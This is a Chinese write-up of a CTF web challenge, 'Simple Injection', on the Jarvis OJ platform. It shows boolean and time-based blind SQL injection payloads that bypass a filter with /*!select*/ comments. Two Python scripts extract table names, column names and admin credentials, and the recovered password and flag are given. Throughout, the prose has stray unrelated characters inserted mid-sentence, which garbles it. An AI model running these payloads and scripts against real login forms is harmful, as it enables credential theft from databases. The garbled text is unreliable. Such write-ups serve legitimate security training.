CTF-WEB-Simple Injection #盲注

CTF{s1mpl3_1nJ3ction_very_easy!!}

描述:

很簡單的注入渤刃,大家試試?http://web.jarvisoj.com:32787/

分析:

  1. 輸入admin和123肥卡,提示密碼錯(cuò)誤溪掀。輸入admin'和123,提示用戶名錯(cuò)誤步鉴。輸入admin'#提示密碼錯(cuò)誤揪胃,輸入username='|| 1#也提示密碼錯(cuò)誤。nice氛琢!確定了注入點(diǎn)喊递!
  2. 中間走了下彎路走到時(shí)間盲注去了(),做得好慢(主要電腦不行)阳似,我們先來過正常的解題思路骚勘。
    基于布爾型SQL盲注,即在SQL注入過程中,應(yīng)用程序僅僅返回True(密碼錯(cuò)誤)和False(用戶名錯(cuò)誤)俏讹。
    username='|| ascii(substr(database(),1,1))>1#密碼錯(cuò)誤
    username='|| ascii(substr((/*!select*/ database()) ,1,1))>1 # 密碼錯(cuò)誤
    username='|| ascii(substr((/*!select*/ group_concat(table_name) /*!from*/ information_schema.tables /*!where*/ table_schema=database()),1,1))>1 #密碼錯(cuò)誤
    好了可以開始代碼跑了当宴,跑出來表是admin,列是id,username,password泽疆,password值是334cfb59c9d74849801d5acdcfdaadc3户矢,MD5在線解出來是eTAloCrEP……過分了!
  3. 錯(cuò)誤的心路歷程也要走完它殉疼!username='|| sleep(5)#梯浪,發(fā)現(xiàn)是可以睡的
    (順便存一個(gè)username=admin'|sleep(10)|',也是可以執(zhí)行的瓢娜。防止下次or被過濾挂洛,多條payload多條路()) !
    于是應(yīng)該是基于時(shí)間的盲注了(并不是)眠砾,開始找過濾方式:
    username='|| if(2>1,sleep(5),0)#
    username='|| if(ascii('a')>1,sleep(5),0)#
    username='|| if(ascii(substring(database(),1,1))>1,sleep(5),0)#是有多能睡()
    username='|| if(ascii(substring( (/*!select*/ database() ) ,1,1))>1,sleep(5),0)# 發(fā)現(xiàn)過濾了select虏劲,用/!select/繞過
    username='|| if(ascii(substring( (/*!select*/ group_concat(table_name) /*!from*/ information_schema.tables /*!where*/ table_schema=database() ) ,1,1))>1,sleep(5),0)# 接著把關(guān)鍵詞用/!/繞過

接下來就都來到令人愉悅的寫代碼環(huán)節(jié),兩種一起放一下荠藤,記住手動(dòng)在payload里改data123.

def timeSql():#時(shí)間盲注
    import requests,time
    s = requests.Session()
    url = 'http://web.jarvisoj.com:32787/login.php'
    database = ''
    for i in range(1,20):
        for x in range(32,128):
            data1 = 'ascii(substr((/*!select*/ group_concat(table_name) /*!from*/ information_schema.tables /*!where*/ table_schema=database()),%s,1))<= %s'%(i,x)
            data2 = 'ascii(substr((/*!select*/ group_concat(column_name) /*!from*/ information_schema.columns /*!where*/ table_schema=database()),%s,1))<=%s'%(i,x) #跑列名
            data3 = 'ascii(substr((/*!select*/ group_concat(id,username,password) /*!from*/ admin),%s,1))<=%s'%(i,x) #dump值
            payload={'username':"'|| if(%s,sleep(2),0)# "%(data3),'password':''}
            #print (chr(x),payload)
            t1 = time.time()
            result= s.post(url,payload)
            if time.time()-t1 > 2:
                database += chr(x)
                break
        print(i,database)
        
def boolSql():#二分法布爾盲注
    import requests
    s = requests.Session()
    url = 'http://web.jarvisoj.com:32787/login.php'
    database = ''
    for i in range(1,50):
        toe = 31
        head = 128
        while head >= toe: 
            mid =(toe + head) // 2  
            data1 = 'ascii(substr((/*!select*/ group_concat(table_name) /*!from*/ information_schema.tables /*!where*/ table_schema=database()),%s,1))>=%s'%(i,mid) #跑表名
            data2 = 'ascii(substr((/*!select*/ group_concat(column_name) /*!from*/ information_schema.columns /*!where*/ table_schema=database()),%s,1))>=%s'%(i,mid) #跑列名
            data3 = 'ascii(substr((/*!select*/ group_concat(id,username,password) /*!from*/ admin),%s,1))>=%s'%(i,mid) #dump值
            payload={'username':"'|| %s #"%(data3),'password':''}#跑的時(shí)候手動(dòng)改改data123
            #print (payload)
            result= s.post(url,payload).text.split('<a class="close" data-dismiss="alert">×</a><strong>')[1][:5]
            #print(head,toe,mid,result)
            if '用戶名錯(cuò)誤' in result:
                head = mid
            elif head - toe > 1:
                toe = mid
            else: break
        database += chr(mid)
        print(i,database)
  1. 最后輸入admin伙单,eTAloCrEP,登錄拿到flag哈肖。

總結(jié)

  1. 二分法真的能拯救辣雞電腦吻育!
  2. 如非必要不要嘗試基于時(shí)間盲注好嗎?又要sleep又不能二分的淤井!答應(yīng)我布疼!
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市币狠,隨后出現(xiàn)的幾起案子疗我,更是在濱河造成了極大的恐慌握玛,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,734評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異魏颓,居然都是意外死亡厚棵,警方通過查閱死者的電腦和手機(jī)最住,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,931評論 3 394
  • 文/潘曉璐 我一進(jìn)店門箭昵,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人碍扔,你說我怎么就攤上這事瘩燥。” “怎么了不同?”我有些...
    開封第一講書人閱讀 164,133評論 0 354
  • 文/不壞的土叔 我叫張陵厉膀,是天一觀的道長溶耘。 經(jīng)常有香客問我,道長服鹅,這世上最難降的妖魔是什么凳兵? 我笑而不...
    開封第一講書人閱讀 58,532評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮菱魔,結(jié)果婚禮上留荔,老公的妹妹穿的比我還像新娘吟孙。我一直安慰自己澜倦,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,585評論 6 392
  • 文/花漫 我一把揭開白布杰妓。 她就那樣靜靜地躺著藻治,像睡著了一般。 火紅的嫁衣襯著肌膚如雪巷挥。 梳的紋絲不亂的頭發(fā)上桩卵,一...
    開封第一講書人閱讀 51,462評論 1 302
  • 那天,我揣著相機(jī)與錄音倍宾,去河邊找鬼雏节。 笑死,一個(gè)胖子當(dāng)著我的面吹牛高职,可吹牛的內(nèi)容都是我干的钩乍。 我是一名探鬼主播,決...
    沈念sama閱讀 40,262評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼怔锌,長吁一口氣:“原來是場噩夢啊……” “哼寥粹!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起埃元,我...
    開封第一講書人閱讀 39,153評論 0 276
  • 序言:老撾萬榮一對情侶失蹤涝涤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后岛杀,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體阔拳,經(jīng)...
    沈念sama閱讀 45,587評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,792評論 3 336
  • 正文 我和宋清朗相戀三年类嗤,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了糊肠。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,919評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡土浸,死狀恐怖罪针,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情黄伊,我是刑警寧澤泪酱,帶...
    沈念sama閱讀 35,635評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響墓阀,放射性物質(zhì)發(fā)生泄漏毡惜。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,237評論 3 329
  • 文/蒙蒙 一斯撮、第九天 我趴在偏房一處隱蔽的房頂上張望经伙。 院中可真熱鬧,春花似錦勿锅、人聲如沸帕膜。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,855評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽垮刹。三九已至,卻和暖如春张弛,著一層夾襖步出監(jiān)牢的瞬間荒典,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,983評論 1 269
  • 我被黑心中介騙來泰國打工吞鸭, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留寺董,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,048評論 3 370
  • 正文 我出身青樓刻剥,卻偏偏與公主長得像遮咖,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子透敌,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,864評論 2 354

推薦閱讀更多精彩內(nèi)容